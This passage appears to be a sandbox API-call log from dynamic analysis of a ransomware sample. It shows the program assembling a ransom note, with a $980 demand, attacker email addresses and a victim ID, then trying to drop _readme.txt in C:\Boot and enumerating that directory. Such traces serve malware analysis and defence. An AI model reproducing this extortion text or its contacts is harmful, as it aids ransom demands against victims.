hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.381] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.381] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14118 | out: hHeap=0x5010000) returned 1 [0111.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.381] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.381] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.381] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbba2fd50, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xbba2fd50, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xbb6c3db0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35c68 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d58 | out: hHeap=0x5010000) returned 1 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.382] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x54) returned 0x7a31720 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d30 | out: hHeap=0x5010000) returned 1 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a427e0 | out: hHeap=0x5010000) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.383] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.383] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e70 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e98 [0111.383] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.383] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f10 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.383] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e98 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16c) returned 0x7a617c0 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e70 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f60 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f88 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fb0 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fd8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36000 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36028 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0111.384] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x214) returned 0x7b14908 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f10 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360c8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f060 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f088 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f0b0 [0111.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 